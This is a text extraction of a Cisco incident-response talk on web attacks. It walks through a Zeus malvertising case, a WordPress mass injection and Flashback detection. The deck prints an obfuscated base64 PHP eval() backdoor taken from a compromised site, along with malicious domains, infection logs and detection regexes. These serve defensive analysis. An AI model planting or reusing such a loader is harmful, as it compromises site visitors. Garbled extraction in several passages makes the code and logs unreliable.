

What You Make Possible







The State of Web Security: Attack and Response

BRKSEC-2010





- Jeff Bollinger, Investigator Cisco: Computer Security Incident Response Team (CSIRT)
- CSIRT = Security Monitoring and Incident Response
- Architecture, Engineering, Research, and Investigations
- Enterprise global threat and incident response



Agenda

- Web Threat Landscape and Trends
- Real Incidents
- Web Security Monitoring In Practice
- Choose Your Own Adventure



Growing Software Threatscape

2011

- "...the number of vulnerabilities affecting typical end-points has more than tripled with the majority of these (78%) found in non-Microsoft (third-party) programs, which are considerably more difficult to patch as several different update mechanisms are required."
- "72% of the vulnerabilities had a patch available on the day of vulnerability disclosure."
- "50% of users were found to have more than 66 programs installed from more than 22 different vendors."

Source: Secunia Yearly Report 2011.



Web Attacks are Still Hot!

2012

- There was a 27% increase in the number of malicious domains from 2011 to 2012 and a 47% increase from 2010 to 2011.
- An average of 20,141 unique Web malware hosts were encountered per month in 2011, compared to a monthly average of 14,217 in 2010.
- During 4Q11, 33% of Web malware encountered was zero-day malware not detectable by traditional signature-based methodologies at the time of encounter.

Source: Cisco Global Threat Report Q42011.





YOU ARE A TARGET

Username & Passwords

Once hacked, cyber criminals can install programs on your computer that capture all your keystrokes, including your username and password. That information is used to log into your online accounts, such as:

- Your bank or financial accounts, where they can steal or transfer your money.
- Your iCloud, Google Drive, or Dropbox account where they can access all your sensitive data.
- Your Amazon, Walmart or other online shopping accounts where they can purchase goods in your name.
- Your UPS or Fedex accounts, where they ship stolen goods in your name.

Email Harvesting

Once hacked, cyber criminals can read your email for information they can sell to others, such as:

- All the names, email addresses and phone numbers from your contact list.
- All of your personal or work email.

Virtual Goods

Once hacked, cyber criminals can copy and steal any virtual goods you have and sell them to others, such as:

- Your online gaming characters, gaming goods or gaming currencies.
- Any software licenses, operating system license keys, or gaming licenses.

Botnet

Once hacked, your computer can be connected to an entire network of hacked computers controlled by the cyber criminal. This network, called a botnet, can then be used for activities such as:

- Sending out spam to millions of people
- Launching Denial of Service attacks.

You may not realize it, but you are a target for cyber criminals. Your computer, your mobile devices, your accounts and your information all have tremendous value. This poster demonstrates the many different ways cyber criminals can make money by hacking you. Fortunately, by taking some simple steps, you can help protect yourself and your family. To learn more, subscribe to OUCH!: a security newsletter designed to help people just like you.

www.securingthehuman.org/ouch



Identity Hijacking

Once hacked, cyber criminals can steal your online identity to commit fraud or sell your identity to others, such as:

- Your Facebook, Twitter or LinkedIn account.
- Your email accounts.
- Your Skype or other IM accounts.

Web Server -

Once hacked, cyber criminals can turn your computer into a web server, which they can use for the following:

- Hosting phishing websites to steal other people's usernames and passwords.
- Hosting attacking tools that will hack people's computers.
- Distributing child pornography, pirated videos or stolen music.

Financial

Once hacked, cyber criminals can scan your system looking for valuable information, such as:

- Your credit card information.
- Your tax records and past filings.
- Your financial investments and retirement plans.

Extortion

Once hacked, cyber criminals can take over your computer and demand money. They do this by:

- Taking pictures of you with your computer camera and demanding payment to destroy or not release the pictures.
- Encrypting all the data on your computer and demanding payment to decrypt it.
- Tracking all websites you visit and threatening to publish them.

This poster is based on the original work of Brian Krebs. You can learn more about cyber criminals at his blog at http://krebsonsecurity.com



BRKSEC-2010






The web browser is not the only target, the whole browsing ecosystem is at risk.



Your Browser is an OS

Browser Plug-ins



Source: "The Inconvenient Truth About the State of Browser Security", 2011. Wolfgang Kandek, CTO Qualys, Inc.



"Looking long term, upwards of 60% of Java installations are never up to the current patch level. Since so many computers aren't updated, even older exploits can be used to compromise victims.

...We found that during the first month after a Java patch is released, adoption is less than 10%. After 2 months, approximately 20% have applied patches and after 3 months, we found that more than 30% are patched. We determined that the highest patch rate last year was 38% with Java Version 6 Update 26 3 months after its release."

- Marcus Carey, Rapid7

Source: Krebs on Security "New Java Attack Rolled into Exploit Packs". March, 2012.





From Wikipedia, the free encyclopedia (Redirected from Java Virtual Machine)

A Java virtual machine (JVM) is a virtual machine capable of executing Java bytecode. It is the code execution component of the Java software platform. Sun Microsystems stated that there are over 5.5 billion JVM-enabled devices.^[1]

Contents [hide]

- 1 Overview
- 2 Execution environment
- 3 JVM languages
- 4 Bytecode verifier
- 5 Bytecode instructions
- 6 Heap
- 7 Secure execution of remote code
- 8 C to bytecode compilers
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Overview

A Java virtual machine is software that is in features as automated exception handling, libraries that implement the Java application

JVMs are available for many hardware and to "write once, compile anywhere", which do

Java bytecode is an intermediate language executed on a JVM.

Oracle, the owner of Java, produces a JVM obligations.

The Oracle JVM (HotSpot) is written in the

Execution environment

Oracle's Java execution environment is terr Programs intended to run on a JVM must b distribution of large programs, multiple class

The Java application launcher, java, offers

The JVM runtime executes .class or .ja today to achieve greater speed. There are a Like most virtual machines, the Java virtual capability-based architecture.


JVM languages



3 Billion Devices Run Java

Computers, Printers, Routers, Cell Phones, BlackBerry, Kindle, Parking Meters, Public Transportation Passes, ATMs, Credit Cards, Home Security Systems, Cable Boxes, TVs...


ORACLE"



ounts to a highly idiosyncratic [clarification needed] memory model and

[edit]










Real Incidents



Playbook Report IDs Zeus Downloads




Downloads from 91.218.230.94

Majority of downloads from India sensor



Deccan Herald Hosts Malicious Ad



Resilient Exploit Hosting


- Hundreds of hostnames for the JAR delivery host
- Zeus bot is loaded
- Zeus config is fetched
- Information captured

Found 390 RRs in 0.02 seconds.

1pokaz.ru.	A 91.218.230.94
a24ps.dyndns.org.	A 91.218.230.94
a25ay.dyndns.org.	A 91.218.230.94
a27m9.dyndns.org.	A 91.218.230.94
a28jx.dyndns.org.	A 91.218.230.94
a297g.dyndns.org.	A 91.218.230.94
a2ah5.dyndns.org.	A 91.218.230.94
a2bvu.dyndns.org.	A 91.218.230.94
a2cxm.dyndns.org.	A 91.218.230.94
a2dyq.dyndns.org.	A 91.218.230.94
a2g9n.dyndns.org.	A 91.218.230.94
a2hsa.dyndns.org.	A 91.218.230.94
a2mc7.dyndns.org.	A 91.218.230.94



Jar File Downloads Zeus Exe



Packet Capture

Shows "PE" header, indicating an "exe" download



Sandbox Analysis

Process Creation

"25/3/2012 2:38:59.737", "registry", "SetValueKey", "C:\malware_analysis\027eddd94.exe", "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\AppData"
"25/3/2012 2:39:0.987", "process", "created", "C:\malware_analysis\027eddd94.exe", "C:\Documents and Settings\Administrator\Application Data\Ykgoy\ypta.exe"

Registry Key Creation

"25/3/2012 2:39:7.550", "registry", "SetValueKey", "C:\WINDOWS\explorer.exe", "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\{F561587E-5C96-37AB-9701-D0081175F61B}"
"25/3/2012 2:39:7.753", "registry", "SetValueKey", "C:\WINDOWS\explorer.exe", "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\{F561587E-5C96-37AB-9701-D0081175F61B}"

Network Activity

1 0.000000 192.168.1.100 -> 4.2.2.2 DNS 80 Standard query A users9.nofeehost.com 4 0.027015 4.2.2.2 -> 192.168.1.100 DNS 96 Standard query response A 192.168.1.2

HTTP/Requests value» rate»

HTTP Requests by HTTP Host 1 0.048534 users9.nofeehost.com 1 0.048534 100.00% /patrickkeed/all.bin 1 0.048534 100.00%



percent


- 3/22/12 1332460595.062 776 TCP_MISS/200 1177 GET http://at4ps.dyndns.org/de/s1 DIRECT/at4ps.dyndns.org text/html
 11:56:35.062 PMDEFAULT_CASE_11-DefaultGroup-DefaultGroup-NONE-NONE-NONE-DefaultGroup

 <-,0.0,"0","-",0,0,0,"-","-",-,-,-,"","","-",-,-,-,"","","-
- 3/22/12 1332460452.726 560 TCP_MISS/200 1498 GET http://at4ps.dyndns.org/de/s1 DIRECT/at4ps.dyndns.org text/html
 11:54:12.726 PMDEFAULT_CASE_11-DefaultGroup-DefaultGroup-NONE-NONE-NONE-DefaultGroup

 <-,0.0,"0","-",0,0,0,"-","-",--,-,"","","-",-,-,-,"","Unknown","-","-","-","-","-",21.40,0,-,"-","-","-">- "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 91.218.230.94 "http://www.deccanherald.com/"



CSIRT's Response



Wordpress Injection and Aftermath





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New Mass Injection Wave of WordPress Websites on the Prowl

New Mass Injection Wave of WordPress Websites on the Prowl

At ti nje:

Sec

Posted: 05 Mar 2012 08:00 AM

The Websense® ThreatSeeker® Network has detected a new wave of mass-injections of a well-known rogue antivirus campaign that we've been following in Security LabsTM for months. The majority of targets are Web sites hosted by the WordPress content management system.

At the time of writing, more than 200,000 Web pages have been compromised, amounting to close to 30,000 unique Web sites (hosts). The injection hijacks visitors to the compromised sites and rediects them to rogue AV sites that attempt to trick them into downloading and installing a Trojan onto their computer.

The injected code is very short and is placed at the bottom of the page, just before </body> tag.





security labs



Internal clients requested 650+ unique URL's two weeks. "

New Mass Injection Wave of WordPress Websites on the Prowl

Broad range of domains and URLs requested: of a well-known rogue antivirus campaign that we've

been following in Security LabsTM for months. The majority of targets are Web sites hosted by the WordPress content management system. At the time of writing, more than 200,000 Web pages have been compromised, amounting to close to 30,000 unique Web sites (hosts). The injection hijacks visitors to the compromised sites and rediects them to rogue AV sites that attempt to trick them into downloading and installing a Trojan onto their computer.

The inj		cs_referer -	
<td></td> <td>http://zzzbo.dlinkddns.com/111/out.php</td> <td></td>		http://zzzbo.dlinkddns.com/111/out.php	
.,	2	http://www.weinersmith.com/?p=112	
After a ".de.lv" user by		http://www.vfwpost7383.org/	the landing site is the computer and scares the indow with a "Windows
Securit within t	4	http://www.triathlonfamily.com/forum/index.php?showtopic=11866	s only a pop-up window supposedly found
Trojans	5	http://www.treinototal.com.br/revista/2009/02/17/colageno-e-gelatina-confira-a-importancia/	
O cost -	6	http://www.thegreatestmiraclemovie.com/new/wp-admin/user/jquery-ui-icons-example	
System I	7	http://www.thedailyfetch.com/silicon-valley/	
O Charge	8	http://www.thedailyfetch.com/san-mateo/	
My Doo	9	http://www.thedailyfetch.com/	
Dettada My Compa System Feb	10	http://www.tardigrade.biz/?page_id=739	
	11	http://www.srusado.pt/index2.php	
	12	http://www.srusado.pt/A_empresa.php	
	13	http://www.srusado.pt/	
	14	http://www.simonwinthrop.com/index.htm	





Welcome Programs Calendar Location Contact Us Resources Banquets & Hall Rental

SERVING

Search

CURRENT EVENTS

VFW BINGO

7:00 PM - March 29, 2012

VFW Bingo Every Thursday Night

More Information

Monthly Officers Meeting

9:00 AM - April 01, 2012

The post officers meet on the first Sunday every month at 0900 hrs.

More Information



WHO WE ARE AND WHAT WE ARE ABOUT

• FIND US

VFW Post 7383

522 Reedy Creek Road

Cary, NC 27513

Phone: 1-919-467-1188

Veteran.....A Veteran is someone, who at one point in their life, wrote a blank check payable to the United States of America for an amount up to, and including, their life. That is an honor, and there are way too many people in this country who no longer remember that fact.

The organization Veterans of Foreign Wars of the United States, more commonly referred to as the VFW, "traces its roots back to 1899 when

http://www.vfwpost7383.org/



<?php /**/ eval(base64 decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvY19zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtc19ubyddPTE7ICAgIG1mKCFmdW5jdG1vb191eG1zdHMoJ21yb2JoJykp eyAqICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3 KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3B1b183NzcoJHVybCk7aWYoJGNvbnR1bnQhPT1mYWxzZSlyZXR1cm4gJGNvbnR1bnQ7JGNvbnR1bnQ9QHRyeWZzb2Nrb3B1 b183NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2t1dF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1 bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe21mKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbm10Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbm10ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1 cmwp02N1cmxfc2V0b3B0ICqkY2qsIENVUkxPUFRfUkVUVVJ0VFJBT1NGRVIsIDEp02N1cmxfc2V0b3B0ICqkY2qsIENVUkxPUFRfVE1NRU9VVCwqNSk7Y3VybF9zZXRvcHQqKCRjaCwqQ1VSTE9QVF9IRUFERVIsIDAp0yRyZXN1 $b \texttt{HQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybC17aWYoZnVuY3Rpb25fZXhpc3Rz$ ${\tt KCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2R1KCcnLCRpbmMpO21mICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5f}$ Nzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHN1KXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEw ${\tt MDAwKTt9ZmNsb3N1KCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJ1dHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdG1vbiB0cn1mc29ja29wZW5fNzc3KCR1cmwpe21mKGZ1bmN0aW9uX2V4aXN0cygn}$ ${\tt ZnNvY2tvcGVuJyk9PT1mYWxzZS1yZXR1cm4gZmFsc2U7JHA9QHBhcnN1X3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3B1bigkaG9zdCw4MCwkZXJy}$ $\verb|bm8siCRlcnJzdHisMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXR1KCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWx1$ ${\tt KCFmZW9mKCRmKS17JGJ1Zi49ZnJ1YWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO21mICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bG1zdCgkbSwkYnVmKT11eHBsb2R1KGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1}$ Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0 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ZGVpdCgkZGVjb2RlKXsgICR0PUBvcmQoQHN1YnN0cigkZGVjb2RlLDMsMSkpOyAgJHN0YXJ0PTEwOyAgJHY9MDsgIGlmKCR0JjQpeyAgJHN0cj1AdW5wYWNrKCd2JyxzdWJzdHIoJGR1Y29kZSwxMCwyKSk7ICAkc3RyPSRzdHJb
MV07ICAkc3RhcnQrPTIrJHN0cjsgIH0gIGlmKCR0JjgpeyAgJHN0YXJ0PUBzdHJwb3MoJGR1Y29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMTYpeyAgJHN0YXJ0PUBzdHJwb3MoJGR1Y29kZSxjaHIoMCksJHN0YXJ0
KSsxOyAqfSAqaWYoJHQmMil7ICAkc3RhcnQrPTI7ICB9ICAkcmV0PUBnemluZmxhdGUoQHN1YnN0ciqkZGVjb2RlLCRzdGFydCkpOyAqaWYoJHJldD09PUZBTFNFKXsqICRyZXQ9JGR1Y29kZTsqIH0qIHJldHVybiAkcmV0OyAq
fSAgfSAgZnVuY3Rpb24gbXJvYmgoJGNvbnRlbnQpeyAgQEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgJGRlY29kZWRfY29udGVudD1nemRlY29kZWl0KCRjb250ZW50KTsgIGlmKHByZWdfbWF0Y2goJy9cPFwv
Ym9keS9zaScsJGR1Y29kZWRfY29udGVudCkpeyAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sXzc3NygpLiJcbiIuJyQxJywkZGVjb2R1ZF9jb250ZW50KTsgIH1lbHNleyAgcmV0dXJu
ICRkZWNvZGVkX2NvbnRlbnQuZ21sXzc3NygpOyAgfSAgfSAgb2Jfc3RhcnQoJ21yb2JoJyk7ICB9ICB9"));?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
```

CiscollVLi

BRKSEC-2010

<title>VFW Post 7383 Franklin-Sloan in Cary, North Carolina</title>

<head>

<head>

<title>VFW Post 7383 Franklin-Sloan in Cary, North Carolina</title>





419 GET http://smains29treamsp.rr.nu/nl.php?p=d 1332868923.052 129 10.1.2.3 TCP DENIET

BLOCK_WBRS -8.8 "Mozilla/5.0 (Macintosh: Intel Mac OS X 10.6) rv:10.0.2) Gecko/20100101

Firefox/10.0.2" Referrer="http://www.vfwpost7383.org/"

7:00 PM - March 29, 2012

VFW Bingo Every Thursday Night

Monthly Officers Meeting

1332512746.272 195 10.1.2.14 TCP_DENIED/403 419 GET http://pfo42rest.rr.nu/nl.php?p=d BLOCK_WBRS^{ung}8.6^{er/l}Moziffa/4.0 (compatible; MSIE 8.0; Windows N. 5.15) WOW64; Trident/4.0; PredictYourBabySearchToolbar 1.27 Referrer="http://www.yfwpo 3.org/"

WHO WE ARE AND WHAT WE ARE ABOUT

1332868632.124 219 10.1.2.98 TCP_DENIED/403 419 GET http://ste07rda.rr.nu/nl.php?p=d

BLOCK_WBRS -8.8 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10 6 8) AppleWebKit/535.11 (KHTML, like

country who no longer remember that fact.

Gecko) Chrome/17.0.963.83 Safari/535.11" Referrer="http://www.vfwpost7383.org/"

Cary, NC 27513

Phone: 1-919-467-1188

The organization Veterans of Foreign Wars of the United States, more commonly referred to as the VFW, "traces its roots back to 1899 when



```
<?php /**/
eval(base64 decode("aWYoZ
                                C  view-source:nlinthewood.com/g_load.php
eyAgICBmdW5jdGlvbiBnZXRfd
KCR1cmwpO2lmKCRjb250ZW50I
b183NzcoJHVybCk7aWYoJGNvb
                                 bmN0aW9uIHRyeWN1cmxfNzc3K
                      tools
cmwpO2N1cmxfc2V0b3B0ICqkY
bHQgPSBjdXJsX2V4ZWMgKCRja
                          http://arnin27gcali.rr.nu/
KCdmaWxlJyk9PT1mYWxzZSly2
                          http://eds32prin.rr.nu/
Nzc3KCR1cmwpe21mKGZ1bmN0a
MDAwKTt9ZmNsb3N1KCRmKTt9Z
                           http://smains29treamsp.rr.nu/
ZnNvY2tvcGVuJyk9PT1mYWxz2
                          http://esaff66airte.rr.nu/
bm8sICRlcnJzdHIsMzApO2lmK
KCFmZW9mKCRmKS17JGJ1Zi49Z
                          http://ester50dayss.rr.nu/
Zik7cmV0dXJuICRidWY7fSAg2
PSRwWydob3N0J107JHVyaT0kc
                          http://inglon52donsins.rr.nu/
OyRzb2NrPUBzb2NrZXRfY3JlY
                           http://orl37dwi.rr.nu/
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                          http://emal7rka.rr.nu/
UlZFUlsnc19kMSddOyRkaXI9J
LSRtdGltZTtpZiAoJGN0aW11F
                          http://ste07rda.rr.nu/
b250ZW50PXVwZGF0ZV90ZHNfZ
                          http://tsov79erpar.rr.nu/
W210X3JhbmQoMCwkYy0yKV0pC
YSwid2luZG93cyIpKSYmKCFzd
                          http://gha31npat.rr.nu/
cigkdWEsIklTSUUgNyIpfHxzd
WyJET0NVTUVOVF9ST09UI10uI
                          http://ingmo40netary.rr.nu/
QU1FIl0uIi8ubG9ncy8i02lmI
                          http://maker73asses.rr.nu/
UF9VU0VSX0FHRU5UJ107aWYqK
c2llPTA7aWYgKGlzX21zaWVfN
                          http://tri25ala.rr.nu/
VkVSWydzX3AxJ109JG160yAgJ
                          http://unempl87oyedde.rr.nu/
dmJTOD0nKTsgICRkPSc/ZD0nI
TlQiXSk7ICAkX1NFUlZFUlsnc
                          http://ita76bler.rr.nu/
RG92TDI1c2FXNTBhR1YzYjI5a
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                          http://ndainf40oristhe.rr.nu/
Xzc3NygpLiRfU0VSVkVSWydzX
                          http://equate22motorde.rr.nu/
ZGVpdCgkZGVjb2RlKXsgICR0F
MV07ICAkc3RhcnQrPTIrJHN0c
KSsxOyAqfSAqaWYoJHQmMil7I
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"http://www.w3.org/TR/xht
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
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
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SWCenter

CountryCodes







- Not detected by IDS, Anti-Virus, FireEye, or WSA
- Drive-by attacks against CVE-2012-0507



Sorokin Ivan @hexminer



First C&C servers of new BackDoor.Flashback according to version: 1 - vxvhwcixcxqxd .com, 2 cuojshtbohnt.com, 4 - rfffnahfiywyd.com







12:56 PM - 3 Apr 12 via web · Embed this Tweet

Search external intelligence for domains, URLs, or IPs used by flashback





Search C2s for evidence of infected hosts



Investigative Approach

What you could do...

```
index=wsa
cs_url="http://ASDFUH982HDODJC.COM*"; OR cs_url="http://95.215.63.38*"; OR
cs_url="http://godofwar3.rr.nu*"; OR cs_url="http://ironmanvideo.rr.nu*"; OR
cs_url="http://killaoftime.rr.nu*"; OR
cs_url="http://gangstasparadise.rr.nu*"; OR
cs_url="http://mystreamvideo.rr.nu*"; OR cs_url="http://bestustreamtv.rr.nu*";
OR cs_url="http://ustreambesttv.rr.nu*"; OR
cs_url="http://ustreamtvonline.rr.nu*"; OR cs_url="http://ustream-tv.rr.nu*";
OR cs_url="http://ustream.rr.nu*"; OR
cs_url="http://ustream.rr.nu*"; OR
cs_url="http://johncartermovie2012.com*"; OR cs_url="http://bodyrocks.rr.nu*";
OR s_ip=95.215.63.38 OR cs_url="http://31.31.79.87*"; .....
```

- "Whack-a-mole" technique
- Inefficient and un-manageable



Investigative Approach

What we did...

Variant 1:

```
index=wsa Windows NT 6.1 WOW64 rv\:9.0.1 Gecko\/20100101 |
regex cs_useragent="id:([A-Za-z0-9]){8}\-([A-Za-z0-9]){4}\-([A-Za-z0-9]){4}\-([A-Za-z0-9]){4}\-([A-Za-z0-9]){12}"
```

Variant 2 & 3:

```
index=wsa (auupdate OR scheck OR owncheck) AND (cs_url="*/scheck/*" OR
cs_url="*/auupdate/*" OR cs_url="*/owncheck/*") |
regex
cs_useragent="(^[MN] [Djz] [BFJNRVZdhl] [8] [a] [T] [M] [4] [N] [n]) | (^[MNOQR] [ODETUjkz]
][ABEFIJMNQRUVYZcdghkl] [012345BCDEFGwxyz] [MNOQR] [ODETUjkz] [ABEFIJMNQRUVYZcdghk
l] [012345BCDEFGwxyz] [MNOQR] [ODETUjkz] [AEIMQUYcgk] [t] [MNOQR] [ODETUjkz] [ABEFIJMN
QRUVYZcdghkl] [012345BCDEFGwxyz] [MNOQR] [CSiy] [01] [012345BCDEFGwxyz] [MNOQR] [ODET
Ujkz] [ABEFIJMNQRUVYZcdghkl] [012345BCDEFGwxyz] [L] [TU] [ABEFIJMNQRUVYZcdghkl] [012
345BCDEFGwxyz] [MNOQR] [ODETUjkz] [AEIMQUYcgk] [t] [MNOQR] [ODETUjkz] [ABEFIJMNQRUVYZ
cdghkl] [012345BCDEFGwxyz] [MNOQR] [ODETUjkz] [ABEFIJMNQRUVYZcdghkl] [012345BCDEFGw
xyz] [MNOQR] [ODETUjkz] [ABEFIJMNQRUVYZcdghkl] [012345BCDEFGw
xyz] [MNOQR] [ODETUjkz] [ABEFIJMNQRUVYZcdghkl] [ODETUjkz]
[ABEFIJMNQRUVYZcdghkl] [012345BCDEFGwxyz]) "
```


BRKSEC-2010





Web Security Monitoring: Detection and Response





Security StrategyCollect and Analyse












Foundation scalable load balancer

device health monitoring

HTTP is the Platform



- Yearly average of Cisco global traffic
- HTTP is 34% of ALL traffic (SSL + 11%)



Web Security Filtering Cisco's Internal WSA Deployment Internet **WSA** Cluster WCCPv2 Redirect Senderbase DMZ **Gateways** Corporate **Pirewalls** altalia CISCO **Corporate Network** SECURITY THREAT DETECTED AND BLOCKED Based on Cisco security threat information, access to the web site http://adheadies.com/ has been blocked by the Web Security Appliance (WSA) to prevent an attack on your browser. The Cisco Security Intelligence Operations (CSIO) Web Reputation Score for this site indicates that it is associated with malware/spyware, and poses a security threat to your computer or the corporate

- Position
 - DMZ backbone gateways
 - At least 2 per gateway
- Coverage
 - Desktop
 - Internal labs
 - Data centres
 - DMZ labs
 - Remote access



Application Layer Protection in the Network

1

GET / HTTP/1.1

What the client requests from the web

Host: ihaveabadreputation.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0)

Gecko/20100101 Firefox/11.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive



HTTP/1.1 403 Forbidden — What the client gets back from the proxy


Mime-Version: 1.0

Date: Thu, 12 Apr 2012 18:38:03 GMT

Content-Type: text/html

Connection: keep-alive

Content-Length: 267





http://wwwintranet.cisco.com/blocked-page.shtml

GET /blocked-page.shtml HTTP/1.1

Host: wwwintranet.cisco.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0) Gecko/20100101 Firefox/11.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,*/
*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

HTTP/1.1 200 OK




90 Day Stats



■ 88.1% Blocked by **Web Reputation**

11.9% Detected by Anti-Malware



90 Day Stats

14-Oct

28-Oct

11-Nov

30-Sep

9.0M

6.0M


3.0M

02-Sep

16-Sep

Monitored

Blocked



90 Day Stats

3.2% Suspect Transactions

96.8% **Clean** Transactions



What is "Reputation" anyway?

A statistical <u>risk assessment</u> based on context and past behaviour


A combination of many factors of varying significance into one correlated metric


AKA Credit Score


What it's not: black/white lists, content scanning, categorisation



Web Based Reputation System (WBRS)








Block	Scan	Allow
	The IronPort DVS™ engine scans the client request and the server response. Note: Sites with no score will be scanned.	The requested URL is allowed. No scanning is performed.



Decision Flow








Choose Your Own Adventure



What do I look for?




Invest in **human** intelligence, network automation, and situational awareness.

Let the **network** block the common attacks, let the humans find the hard to spot attacks and research the latest threats.




Global Logging Architecture




Some event sources send their data to a global network of collection servers

Log EVERYTHING



Slice of Log Pie


11Tb of indexed data in 30 Days



WSA W3C Access Logging

Logs every object over HTTP!

punct (≥100)



"http://techcrunch.com/2012/06/02/android-ga-testing-quality-assurance/" "adwa

host=10.89.6.113 ▼ | sourcetype=cisco wsa w3c ▼ | source=w3c rcdn9 cd1 wsa1 ▼

verified as serving malware. Identifie

Global Logging View and Client Protection

Last 60 minutes regex cs useragent="^[012345ABCDEFGIJMNOQRTUVYZcdghjkltwxyz]{16} index=wsa | [012345BCDEFGMNOQRSiwxyz]{4}[012345ABCDEFGIJLMNOQRSTUVYZcdghijkltwxyz]{28}\$" Create alert Add to dashboard Report Build report Your search is paused. Timeline: ≥ 3 events in the last 4 hours Options... Results per page **#** 4/12/12 1334258583.480 -60983 255.255.255.255 80 - - http://xloeydtsxloe.org/scheck/ - 1 130 1717 7:23:03.480 PM "NjQ3NTU1MEUtOURGMy01QTYyLUI0MjktMTdBMjExNDQxQkJF" - 403 TCP_DENIED - - - - - GET cs_bytes=130 ▼ | cs_url=http://xloeydtsxloe.org/scheck/ ▼ | cs_useragent=NjQ3NTU1MEUtOURGMy01QTYyLUI0MjktMTdBMjExNDQxQkJF ▼ s port=80 - | sc bytes=1717 - | sc http status=403 - | sc result code=TCP DENIED - | x elapsed time=1 - | cs method=GET -4/12/12 1334258581.526 -60966 255.255.255.255 80 - - http://178.209.52.48/scheck/ - 0 127 1714 7:23:01.526 PM "NjQ3NTU1MEUtOURGMy01QTYyLUI0MjktMTdBMjExNDQxQkJF" - 403 TCP_DENIED - - - - - GET cs_bytes=127 ▼ | cs_url=http://178.209.52.48/scheck/ ▼ | cs_useragent=NjQ3NTU1MEUtOURGMy01QTYyLUI0MjktMTdBMjExNDQxQkJF ▼ s port=80 - | sc bytes=1714 - | sc http status=403 - | sc result code=TCP DENIED - | x elapsed time=0 - | cs method=GET -4/12/12 1334258581.480 -60965 255.255.255.255 80 - - http://178.209.52.48/scheck/ - 0 127 1714 7:23:01.480 PM "NjQ3NTU1MEUtOURGMy01QTYyLUI0MjktMTdBMjExNDQxQkJF" - 403 TCP_DENIED - - - - - GET cs bytes=127 ▼ | cs url=http://178.209.52.48/scheck/ ▼ | cs useragent=NjQ3NTU1MEUtOURGMy01QTYyLUI0MjktMTdBMjExNDQxQkJF ▼ s port=80 - sc bytes=1714 - sc http status=403 - sc result code=TCP DENIED - x elapsed time=0 - cs method=GET -

Drive-by Download Protection in the Network

```
